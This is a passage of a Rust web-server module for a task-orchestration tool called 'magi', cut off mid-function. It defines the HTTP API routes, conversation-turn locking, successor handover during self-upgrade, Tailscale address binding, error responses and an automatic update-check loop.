1372 last_error: self.lock_loop().last_error.clone(),
1373 daemon: DaemonView::of(reading),
1374 }
1375 }
1376
1377 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1379 lock_or_recover(&self.looping)
1380 }
1381
1382 fn is_thinking(&self, id: &str) -> bool {
1384 self.talk_turns
1385 .lock()
1386 .is_ok_and(|turns| turns.live.contains(id))
1387 || self.talks.turn_held(id)
1390 || crate::consult::turn_worker_active(&self.talks, id)
1391 }
1392
1393 fn is_thinking_observed(&self, id: &str) -> bool {
1396 self.talk_turns.try_lock().map_or_else(
1397 |error| matches!(error, std::sync::TryLockError::WouldBlock),
1400 |turns| turns.live.contains(id),
1401 )
1402 || self.talks.turn_held(id)
1405 || crate::consult::turn_worker_observed(&self.talks, id)
1406 }
1407
1408 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1427 self.claim_talk_turn(id, false)
1428 }
1429
1430 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1433 self.claim_talk_turn(id, true)
1434 }
1435
1436 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1437 let mut live = self
1438 .talk_turns
1439 .lock()
1440 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1441 if crate::consult::turn_worker_active(&self.talks, id) {
1442 if queued {
1443 *live.queued.entry(id.to_owned()).or_default() += 1;
1444 }
1445 return Ok(None);
1446 }
1447 let inserted = live.live.insert(id.to_owned());
1448 let lease = if inserted {
1452 match self.talks.claim_turn(id) {
1453 Ok(Some(lease)) => Some(lease),
1454 Ok(None) => {
1455 live.live.remove(id);
1456 None
1457 }
1458 Err(e) => {
1459 live.live.remove(id);
1460 return Err(ApiError::from(e));
1461 }
1462 }
1463 } else {
1464 None
1465 };
1466 if lease.is_none() {
1467 if queued {
1468 *live.queued.entry(id.to_owned()).or_default() += 1;
1473 }
1474 return Ok(None);
1475 }
1476 Ok(Some(TalkTurnGuard {
1477 talk: id.to_owned(),
1478 turns: Arc::clone(&self.talk_turns),
1479 released: false,
1480 lease,
1481 }))
1482 }
1483
1484 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1489 let mut live = self
1490 .talk_turns
1491 .lock()
1492 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1493 if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
1495 return Ok(TalkTurnStart::Busy);
1496 }
1497 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1498 return Ok(TalkTurnStart::Foreign);
1499 };
1500 let talk = self.talks.get(id).map_err(ApiError::from)?;
1502 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1503 return Ok(TalkTurnStart::Pending);
1504 }
1505 live.live.insert(id.to_owned());
1506 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1507 talk: id.to_owned(),
1508 turns: Arc::clone(&self.talk_turns),
1509 released: false,
1510 lease: Some(lease),
1511 }))
1512 }
1513
1514 fn queued_generation(&self, id: &str) -> u64 {
1515 let live = self
1516 .talk_turns
1517 .lock()
1518 .unwrap_or_else(PoisonError::into_inner);
1519 live.queued.get(id).copied().unwrap_or(0)
1520 }
1521
1522 fn auto_upgrade_busy(&self) -> bool {
1525 #[cfg(test)]
1526 if self
1527 .lock_loop()
1528 .live
1529 .as_ref()
1530 .is_some_and(|live| live.stop.busy_now())
1531 {
1532 return true;
1533 }
1534 crate::worker::active(&self.home)
1535 .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1536 || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1537 || !self
1538 .resuming
1539 .lock()
1540 .unwrap_or_else(PoisonError::into_inner)
1541 .is_empty()
1542 || !self
1543 .talk_turns
1544 .lock()
1545 .unwrap_or_else(PoisonError::into_inner)
1546 .live
1547 .is_empty()
1548 || self
1549 .talks
1550 .list()
1551 .iter()
1552 .any(|talk| self.is_thinking(&talk.id))
1553 }
1554
1555 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1559 let mut live = self
1560 .resuming
1561 .lock()
1562 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1563 if self
1564 .upgrade_spawned
1565 .load(std::sync::atomic::Ordering::SeqCst)
1566 {
1567 return Err(ApiError::conflict("an upgrade is in progress"));
1568 }
1569 if !live.insert(id.to_owned()) {
1570 return Err(ApiError::conflict(format!(
1571 "run {id} is already being resumed"
1572 )));
1573 }
1574 Ok(ResumeGuard {
1575 run: id.to_owned(),
1576 resuming: Arc::clone(&self.resuming),
1577 })
1578 }
1579
1580 pub fn router(self) -> Router {
1588 Arc::new(self).shared_router()
1589 }
1590
1591 fn shared_router(self: Arc<Self>) -> Router {
1592 Router::new()
1593 .route("/", get(index))
1594 .route("/app.css", get(app_css))
1595 .route("/app.js", get(app_js))
1596 .route("/api/health", get(health))
1597 .route("/api/references", post(id_links::resolve_text))
1598 .route("/api/loop", get(loop_get).post(loop_post))
1599 .route("/api/upgrade", post(upgrade_post))
1600 .route("/api/runs", get(runs_list))
1601 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1602 .route("/api/runs/{id}/progress", get(run_progress))
1603 .route("/api/runs/{id}/core", get(run_core))
1604 .route("/api/runs/{id}/report", get(run_report))
1605 .route("/api/runs/{id}/report.json", get(run_report_json))
1606 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1607 .route("/api/runs/{id}/fold", post(run_fold))
1608 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1609 .route("/api/runs/{id}/resume", post(run_resume))
1610 .route("/api/queue", get(queue_list))
1611 .route("/api/queue/page", get(queue_page))
1612 .route("/api/search", get(search_get))
1613 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1614 .route("/api/queue/{id}/core", get(task_core))
1615 .route("/api/stats", get(stats_get))
1616 .route("/api/stats/queue", get(stats_queue))
1617 .route("/api/repos", get(repos_list))
1618 .route("/api/settings", get(settings_get))
1619 .route("/api/settings/roles", put(settings_put_roles))
1620 .route("/api/queue/{id}/hold", post(queue_hold))
1621 .route("/api/queue/{id}/release", post(queue_release))
1622 .route("/api/queue/{id}/priority", post(queue_priority))
1623 .route("/api/queue/{id}/urgent", post(queue_urgent))
1624 .route("/api/queue/{id}/implementers", post(queue_implementers))
1625 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1626 .route("/api/queue/{id}/edit", post(queue_edit))
1627 .route("/api/queue/{id}/done", post(queue_done))
1628 .route("/api/questions", get(questions_list))
1629 .route("/api/questions/core", get(questions_core))
1630 .route("/api/questions/origins", get(question_origins))
1631 .route("/api/questions/{id}/answer", post(question_answer))
1632 .route("/api/questions/{id}/say", post(question_say))
1633 .route("/api/questions/{id}/consult", post(question_consult))
1634 .route("/api/questions/{id}/panel", get(question_panel))
1635 .route("/api/questions/{id}/panel/index.html", get(question_panel))
1643 .route("/api/questions/{id}/panel/{name}", get(question_asset))
1644 .route("/api/questions/{id}/asset/{name}", get(question_asset))
1645 .route("/api/notifications", get(notifications_list))
1646 .route("/api/notifications/read-all", post(notifications_read_all))
1647 .route("/api/notifications/{id}/read", post(notification_read))
1648 .route(
1649 "/api/notifications/{id}/dismiss",
1650 post(notification_dismiss),
1651 )
1652 .route("/api/talks", get(talks_list).post(talk_post))
1653 .route("/api/talks/page", get(talks_page))
1654 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1655 .route("/api/talks/{id}/core", get(talk_core))
1656 .route("/api/talks/{id}/sections", get(talk_sections))
1657 .route("/api/talks/{id}/say", post(talk_say))
1658 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1659 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1660 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1661 .route("/api/talks/{id}/agent", post(talk_agent))
1662 .route("/api/talks/{id}/persona", post(talk_persona))
1663 .route("/api/talks/{id}/implementers", post(talk_implementers))
1664 .route("/api/talks/{id}/close", post(talk_close))
1665 .route("/api/talks/{id}/reopen", post(talk_reopen))
1666 .route(
1672 "/api/talks/{id}/attachments",
1673 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1674 )
1675 .route(
1676 "/api/talks/{id}/attachments/{att}",
1677 get(talk_attachment_get),
1678 )
1679 .route("/api/talks/{id}/avatar", get(talk_avatar))
1680 .route("/avatars/operator.svg", get(operator_avatar))
1681 .route(
1682 "/api/avatar-settings",
1683 get(avatar_settings_get)
1684 .put(avatar_settings_put)
1685 .delete(avatar_settings_delete),
1686 )
1687 .route("/avatars/persona", get(settings_persona_avatar))
1688 .route("/avatars/magi", get(magi_avatar))
1689 .route(
1690 "/api/magi-icon",
1691 get(magi_icon_get)
1692 .put(magi_icon_put)
1693 .delete(magi_icon_delete),
1694 )
1695 .route("/api/events", get(events))
1696 .with_state(self)
1697 }
1698}
1699
1700#[derive(Debug)]
1706struct TalkTurnGuard {
1707 talk: String,
1708 turns: Arc<Mutex<TalkTurns>>,
1709 released: bool,
1710 lease: Option<crate::talk::TurnLease>,
1712}
1713
1714#[derive(Debug, Default)]
1721struct TalkTurns {
1722 live: HashSet<String>,
1723 queued: HashMap<String, u64>,
1724}
1725
1726enum TalkTurnStart {
1729 Claimed(TalkTurnGuard),
1730 Busy,
1731 Foreign,
1734 Pending,
1735}
1736
1737impl TalkTurnGuard {
1738 #[cfg(test)]
1739 fn owns(&self) -> bool {
1743 self.lease
1744 .as_ref()
1745 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1746 }
1747
1748 #[cfg(test)]
1749 async fn respond(
1752 &self,
1753 talk: &mut Talk,
1754 talks: &Talks,
1755 cfg: &Config,
1756 text: &str,
1757 ) -> anyhow::Result<()> {
1758 let lease = self
1759 .lease
1760 .as_ref()
1761 .context("the turn guard no longer holds its lease")?;
1762 talk::respond(lease, talk, talks, cfg, text).await
1763 }
1764
1765 fn release(mut self, live: &mut TalkTurns) {
1768 self.lease = None;
1772 live.live.remove(&self.talk);
1773 live.queued.remove(&self.talk);
1774 self.released = true;
1775 }
1776}
1777
1778impl Drop for TalkTurnGuard {
1779 fn drop(&mut self) {
1780 if self.released {
1781 return;
1782 }
1783 drop(self.lease.take());
1785 if let Ok(mut live) = self.turns.lock() {
1786 live.live.remove(&self.talk);
1787 live.queued.remove(&self.talk);
1788 }
1789 }
1790}
1791
1792struct ResumeGuard {
1794 run: String,
1795 resuming: Arc<Mutex<HashSet<String>>>,
1796}
1797
1798impl Drop for ResumeGuard {
1799 fn drop(&mut self) {
1800 if let Ok(mut live) = self.resuming.lock() {
1801 live.remove(&self.run);
1802 }
1803 }
1804}
1805
1806async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1816 const WINDOW: Duration = Duration::from_secs(10);
1817 const GAP: Duration = Duration::from_millis(250);
1818
1819 let deadline = std::time::Instant::now() + WINDOW;
1820 let mut said = false;
1821 loop {
1822 match tokio::net::TcpListener::bind(socket).await {
1823 Ok(listener) => return Ok(listener),
1824 Err(e)
1825 if e.kind() == std::io::ErrorKind::AddrInUse
1826 && std::time::Instant::now() < deadline =>
1827 {
1828 if !said {
1829 said = true;
1830 tracing::info!(
1831 "{socket} is still held - waiting up to {}s for it, \
1832 which is what a restart looks like from here",
1833 WINDOW.as_secs()
1834 );
1835 }
1836 tokio::time::sleep(GAP).await;
1837 }
1838 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1839 }
1840 }
1841}
1842
1843static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1846
1847const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1849const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1851
1852fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1854 value.is_some_and(|v| v == "1")
1855}
1856
1857fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1876 let args: Vec<String> = std::env::args().skip(1).collect();
1877 updater::log_step(
1878 home,
1879 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1880 );
1881 let log_path = home.join(WEB_LOG);
1882 let open_log = || {
1883 std::fs::create_dir_all(home)?;
1884 std::fs::OpenOptions::new()
1885 .create(true)
1886 .append(true)
1887 .open(&log_path)
1888 };
1889 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1890 Ok(pair) => (
1891 std::process::Stdio::from(pair.0),
1892 std::process::Stdio::from(pair.1),
1893 ),
1894 Err(e) => {
1895 updater::log_warn(
1896 home,
1897 &format!(
1898 "could not open {}: {e}; the successor logs nowhere",
1899 log_path.display()
1900 ),
1901 );
1902 (std::process::Stdio::null(), std::process::Stdio::null())
1903 }
1904 };
1905
1906 let mut cmd = std::process::Command::new(exe);
1907 cmd.env_remove(RESUME_LOOP_ENV);
1908 cmd.env(RESTART_PORT_ENV, port.to_string());
1909 cmd.args(&args)
1910 .stdin(std::process::Stdio::null())
1911 .stdout(out)
1912 .stderr(err);
1913 #[cfg(windows)]
1914 {
1915 use std::os::windows::process::CommandExt as _;
1916 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1919 }
1920 let child = cmd.spawn().context("start the successor")?;
1921 Ok(child.id())
1922}
1923
1924const WEB_LOG: &str = "web.log";
1926
1927async fn wait_for_handover(signal: &Notify) {
1931 signal.notified().await;
1932}
1933
1934pub async fn serve(opts: Opts) -> Result<()> {
1937 crate::worker::remember_current_executable()?;
1940 let executable = std::env::current_exe().context("find the installed web executable")?;
1941 let (addr, warning) = resolve_bind(&opts.bind);
1942 if let Some(warning) = warning {
1943 tracing::warn!("{warning}");
1944 }
1945
1946 report::set_color(false);
1952
1953 let repo = normalize_default_repo(opts.repo).await;
1954 let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1955 let home = ui.home.clone();
1957 let admissions = Arc::clone(&ui.admissions);
1958 updater::reconcile_after_restart(&home);
1963 updater::log_step(
1964 &home,
1965 &format!(
1966 "web process started (version {}); handover log {}, successor output {}",
1967 env!("CARGO_PKG_VERSION"),
1968 updater::log_path(&home).display(),
1969 home.join(WEB_LOG).display()
1970 ),
1971 );
1972 updater::spawn_watchdog(home.clone());
1973 let port = if opts.port == 0 {
1981 std::env::var(RESTART_PORT_ENV)
1982 .ok()
1983 .and_then(|value| value.parse::<u16>().ok())
1984 .filter(|port| *port != 0)
1985 .unwrap_or(0)
1986 } else {
1987 opts.port
1988 };
1989 let socket = SocketAddr::new(addr, port);
1990 let listener = bind_waiting(socket).await?;
1991 let bound = listener.local_addr().context("read bound web address")?;
1992 let port = bound.port();
1993 let url = format!("http://{bound}");
1994 tracing::info!(
1995 "magi web UI on {url} - there is no authentication, so anyone who can \
1996 reach this address can file and hold tasks: the tailnet is the \
1997 security boundary"
1998 );
1999 if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2001 ui.start_detached_loop()
2002 .await
2003 .map_err(|e| anyhow::anyhow!(e.message))?;
2004 }
2005 if opts.open {
2006 println!("{url}");
2010 }
2011
2012 let recheck_ui = ui.clone();
2015 let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2016 let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2017 let interrupted = async {
2018 if tokio::signal::ctrl_c().await.is_err() {
2019 std::future::pending::<()>().await;
2024 }
2025 };
2026 let handover = wait_for_handover(&HANDOVER);
2027 let outcome = tokio::select! {
2028 joined = &mut served => match joined {
2029 Ok(outcome) => outcome.context("serve the web UI"),
2030 Err(e) => Err(e).context("the task serving the web UI ended"),
2031 },
2032 () = interrupted => {
2033 recheck.abort();
2034 tracing::info!("shutting down the web UI; detached workers continue");
2035 close_admissions(&admissions).await;
2036 served.abort();
2037 let _ = served.await;
2038 Ok(())
2039 }
2040 () = handover => {
2041 recheck.abort();
2042 let successor_home = home.clone();
2043 hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2044 }
2045 };
2046 recheck.abort();
2047 let _ = recheck.await;
2048 updater::log_step(
2049 &home,
2050 &match &outcome {
2051 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2052 Err(e) => format!("serve: returning an error: {e:#}"),
2053 },
2054 );
2055 outcome
2056}
2057
2058async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2079 if repo != FsPath::new(".") {
2080 return repo;
2081 }
2082 let Ok(canonical) = repo.canonicalize() else {
2083 return repo;
2084 };
2085 if git::toplevel(&canonical).await.is_ok() {
2086 return repo;
2087 }
2088 let Some(home) = dirs::home_dir() else {
2089 return repo;
2090 };
2091 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2092 Some(found) => {
2093 tracing::info!(
2094 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2095 canonical.display(),
2096 found.path.display(),
2097 found.reason,
2098 );
2099 found.path
2100 }
2101 None => repo,
2102 }
2103}
2104
2105async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2108 *admissions.write().await = true;
2109}
2110
2111async fn hand_over(
2114 home: &FsPath,
2115 admissions: &tokio::sync::RwLock<bool>,
2116 served: tokio::task::JoinHandle<std::io::Result<()>>,
2117 successor: impl FnOnce() -> Result<u32>,
2118) -> Result<()> {
2119 close_admissions(admissions).await;
2120 if let Some(mut progress) = updater::read_progress(home) {
2121 progress.advance(updater::Stage::Restarting);
2122 progress.detail =
2123 Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2124 updater::write_progress_logged(home, &progress);
2125 }
2126 updater::log_step(
2127 home,
2128 "restarting scheduler without parking execution workers",
2129 );
2130 let scheduler = daemon::restart_detached(home).await;
2131 if let Err(error) = &scheduler {
2132 let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2133 updater::log_warn(
2134 home,
2135 &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2136 );
2137 }
2138 updater::log_step(home, "releasing the web listener");
2139 served.abort();
2140 let _ = served.await;
2141 updater::log_step(home, "web listener released; starting the successor");
2142 match successor() {
2143 Ok(pid) => {
2144 updater::log_step(home, &format!("successor started, pid {pid}"));
2145 scheduler
2146 }
2147 Err(e) => {
2148 let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2149 Err(e)
2150 }
2151 }
2152}
2153
2154pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2160 match bind {
2161 Bind::Addr(addr) => (*addr, None),
2162 Bind::Auto => match tailscale_ip() {
2163 Ok(ip) => (IpAddr::V4(ip), None),
2164 Err(why) => (
2165 IpAddr::V4(Ipv4Addr::LOCALHOST),
2166 Some(format!(
2167 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2168 local-only and a phone cannot reach it; start Tailscale \
2169 or pass --bind <addr>"
2170 )),
2171 ),
2172 },
2173 }
2174}
2175
2176fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2184 let out = std::process::Command::new("tailscale")
2185 .args(["ip", "-4"])
2186 .quiet()
2187 .output()
2188 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2189 if !out.status.success() {
2190 let why = String::from_utf8_lossy(&out.stderr);
2191 let why = why.trim();
2192 return Err(format!(
2193 "`tailscale ip -4` failed ({}){}",
2194 out.status,
2195 if why.is_empty() {
2196 String::new()
2197 } else {
2198 format!(": {why}")
2199 }
2200 ));
2201 }
2202 String::from_utf8_lossy(&out.stdout)
2203 .lines()
2204 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2205 .find(is_tailnet)
2206 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2207}
2208
2209fn is_tailnet(ip: &Ipv4Addr) -> bool {
2211 let o = ip.octets();
2212 o[0] == 100 && (64..=127).contains(&o[1])
2213}
2214
2215type ApiResult<T> = std::result::Result<T, ApiError>;
2219
2220#[derive(Debug)]
2222struct ApiError {
2223 status: StatusCode,
2224 message: String,
2225 text_reason: Option<crate::question_delivery::UnavailableReason>,
2226}
2227
2228impl ApiError {
2229 fn bad_request(message: impl Into<String>) -> Self {
2231 Self {
2232 text_reason: None,
2233 status: StatusCode::BAD_REQUEST,
2234 message: message.into(),
2235 }
2236 }
2237
2238 fn not_found(message: impl Into<String>) -> Self {
2240 Self {
2241 text_reason: None,
2242 status: StatusCode::NOT_FOUND,
2243 message: message.into(),
2244 }
2245 }
2246
2247 fn with_status(mut self, status: StatusCode) -> Self {
2250 self.status = status;
2251 self
2252 }
2253
2254 fn bad_request_from(e: anyhow::Error) -> Self {
2258 Self::bad_request(format!("{e:#}"))
2259 }
2260
2261 fn conflict(message: impl Into<String>) -> Self {
2262 Self {
2263 text_reason: None,
2264 status: StatusCode::CONFLICT,
2265 message: message.into(),
2266 }
2267 }
2268
2269 fn internal(message: impl Into<String>) -> Self {
2271 Self {
2272 text_reason: None,
2273 status: StatusCode::INTERNAL_SERVER_ERROR,
2274 message: message.into(),
2275 }
2276 }
2277}
2278
2279impl From<anyhow::Error> for ApiError {
2280 fn from(e: anyhow::Error) -> Self {
2285 Self::internal(format!("{e:#}"))
2286 }
2287}
2288
2289impl IntoResponse for ApiError {
2290 fn into_response(self) -> Response {
2291 let mut body = serde_json::json!({ "error": self.message });
2292 if let Some(reason) = self.text_reason {
2293 body["code"] = serde_json::json!("question_text_unavailable");
2294 body["reason"] = serde_json::json!(reason);
2295 }
2296 (self.status, Json(body)).into_response()
2297 }
2298}
2299
2300async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2309where
2310 T: Send + 'static,
2311{
2312 #[cfg(test)]
2313 let job = request_cost::carry(job);
2314 match tokio::task::spawn_blocking(job).await {
2315 Ok(result) => result,
2316 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2317 }
2318}
2319
2320async fn bulk_blocking<T>(
2323 slots: Arc<tokio::sync::Semaphore>,
2324 job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2325) -> ApiResult<T>
2326where
2327 T: Send + 'static,
2328{
2329 let permit = slots
2330 .acquire_owned()
2331 .await
2332 .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2333 let (send, receive) = tokio::sync::oneshot::channel();
2334 #[cfg(test)]
2335 let job = request_cost::carry(job);
2336 let runtime = tokio::runtime::Handle::current();
2337 std::thread::Builder::new()
2338 .name("web-bulk".into())
2339 .spawn(move || {
2340 let _permit = permit;
2341 let _runtime = runtime.enter();
2343 let _ = send.send(job());
2344 })
2345 .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2346 receive
2347 .await
2348 .map_err(|_| ApiError::internal("Bulk reader failed"))?
2349}
2350
2351const ASSET_CACHE: &str = "no-cache, must-revalidate";
2369
2370fn asset_etag() -> &'static str {
2377 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2378 format!(
2379 "\"{}-{}\"",
2380 env!("CARGO_PKG_VERSION"),
2381 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2386 )
2387 });
2388 &TAG
2389}
2390
2391fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2393 [
2394 (header::CONTENT_TYPE, mime),
2395 (header::CACHE_CONTROL, ASSET_CACHE),
2396 (header::ETAG, asset_etag()),
2397 ]
2398}
2399
2400fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2408 let tag = asset_etag();
2409 let known = headers
2410 .get(header::IF_NONE_MATCH)
2411 .and_then(|v| v.to_str().ok())
2412 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2416 if known {
2417 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2418 }
2419 (asset_headers(mime), body).into_response()
2420}
2421
2422async fn index(headers: header::HeaderMap) -> Response {
2423 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2424}
2425
2426async fn app_css(headers: header::HeaderMap) -> Response {
2427 asset(&headers, "text/css; charset=utf-8", APP_CSS)
2428}
2429
2430async fn app_js(headers: header::HeaderMap) -> Response {
2431 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2432}
2433
2434#[derive(Debug, Serialize)]
2436struct HealthView {
2437 version: &'static str,
2438 home: String,
2439 queue_rev: u64,
2440 runs_rev: u64,
2441 questions_rev: u64,
2453 talks_rev: u64,
2455 notifications_rev: u64,
2457 notifications_unread: usize,
2460 loop_rev: u64,
2465 runs_unreadable: usize,
2473 disk: Option<serde_json::Value>,
2481 questions_open: usize,
2487 questions_needs_owner: usize,
2497 daemon: DaemonView,
2498 #[serde(rename = "loop")]
2504 looping: LoopView,
2505 update: UpdateView,
2512 upgrade: Option<UpgradeProgressView>,
2516 jobs: Vec<WorkerView>,
2519 upgrade_request_error: Option<UpgradeRequestFailure>,
2520}
2521
2522#[derive(Debug, Serialize)]
2525struct WorkerView {
2526 id: String,
2527 kind: String,
2528 key: String,
2529 pid: Option<u32>,
2530 status: crate::worker::Status,
2531 generation: String,
2532 version: Option<String>,
2533 queue_owned: bool,
2534}
2535
2536impl From<crate::worker::Job> for WorkerView {
2537 fn from(job: crate::worker::Job) -> Self {
2538 let queue_owned = job.kind == "task"
2539 && job
2540 .payload
2541 .get("standalone")
2542 .and_then(serde_json::Value::as_bool)
2543 != Some(true);
2544 Self {
2545 id: job.id,
2546 kind: job.kind,
2547 key: job.key,
2548 pid: job.pid,
2549 status: job.status,
2550 generation: job.generation,
2551 version: job.version,
2552 queue_owned,
2553 }
2554 }
2555}
2556
2557#[derive(Debug, Clone, Serialize)]
2564struct UpdateView {
2565 available: bool,
2567 to: Option<String>,
2569}
2570
2571#[derive(Debug, Serialize)]
2573struct UpgradeProgressView {
2574 trigger: updater::UpgradeTrigger,
2575 stage: updater::Stage,
2576 from: String,
2577 to: Option<String>,
2578 waiting_on: Option<String>,
2581 started_at: Timestamp,
2582 updated_at: Timestamp,
2583 detail: Option<String>,
2584 stuck_for_secs: Option<i64>,
2587 stuck_kind: Option<updater::StallKind>,
2590 handover_alive: bool,
2593}
2594
2595fn should_spawn_recheck(cfg: &Update) -> bool {
2602 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2603}
2604
2605fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2617 if progress.is_some_and(|p| !p.stage.terminal()) {
2618 return false;
2619 }
2620 checker.should_check()
2621}
2622
2623fn recheck_poll_period(cfg: &Update) -> Duration {
2636 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2637}
2638
2639#[derive(Debug, PartialEq, Eq)]
2640enum AutoUpgradeDecision {
2641 Skip(&'static str),
2642 Wait,
2643 Trigger,
2644}
2645
2646fn auto_upgrade_decision(
2647 cfg: &Update,
2648 disabled: bool,
2649 in_motion: bool,
2650 busy: bool,
2651 tag: &str,
2652 failed: Option<&str>,
2653) -> AutoUpgradeDecision {
2654 if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2655 AutoUpgradeDecision::Skip("disabled")
2656 } else if in_motion {
2657 AutoUpgradeDecision::Skip("upgrade already in progress")
2658 } else if failed == Some(tag) {
2659 AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2660 } else if busy {
2661 AutoUpgradeDecision::Wait
2662 } else {
2663 AutoUpgradeDecision::Trigger
2664 }
2665}
2666
2667async fn run_update_recheck(ui: Arc<Ui>) {
2669 loop {
2670 let cfg = match Config::discover(&ui.repo, None) {
2671 Ok((cfg, _)) => cfg,
2672 Err(e) => {
2673 updater::log_warn(
2674 &ui.home,
2675 &format!("auto-upgrade: config unavailable: {e:#}"),
2676 );
2677 tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2678 continue;
2679 }
2680 };
2681 if should_spawn_recheck(&cfg.update)
2682 && let Some(checker) = updater::Checker::new(&cfg.update)
2683 {
2684 let progress = updater::read_progress(&ui.home);
2685 let mut latest = checker.cached_update();
2686 if update_recheck_due(&checker, progress.as_ref()) {
2687 match checker.newer_release().await {
2688 Ok(found) => latest = found,
2689 Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2690 }
2691 }
2692 if cfg.update.auto_restart
2693 && let Some(latest) = latest
2694 {
2695 let response =
2696 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2697 updater::log_step(
2698 &ui.home,
2699 &format!("auto-upgrade: request status {}", response.status()),
2700 );
2701 }
2702 }
2703 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2704 }
2705}
2706
2707fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2713 let default;
2714 let cfg = match cfg {
2715 Some(cfg) => cfg,
2716 None => {
2717 default = Config::default();
2718 &default
2719 }
2720 };
2721 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2722 match latest {
2723 Some(latest) => UpdateView {
2724 available: true,
2725 to: Some(latest.tag_name),
2726 },
2727 None => UpdateView {
2728 available: false,
2729 to: None,
2730 },
2731 }
2732}
2733
2734fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2740 let now = Timestamp::now();
2741 let lease = updater::read_lease(&ui.home);
2742 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2743 let run_id = alive
2744 .and_then(|l| l.parked_run.as_deref())
2745 .or(progress.parked_run.as_deref());
2746 let parking = progress.stage == updater::Stage::Parking;
2747 let waited = alive.map_or_else(String::new, |l| {
2748 let secs = updater::waited_secs(l, now);
2749 format!(" (waited {} min so far)", secs / 60)
2750 });
2751 let run_text = run_id
2752 .filter(|_| parking)
2753 .map(|id| match read_run(&ui.runs, id).ok() {
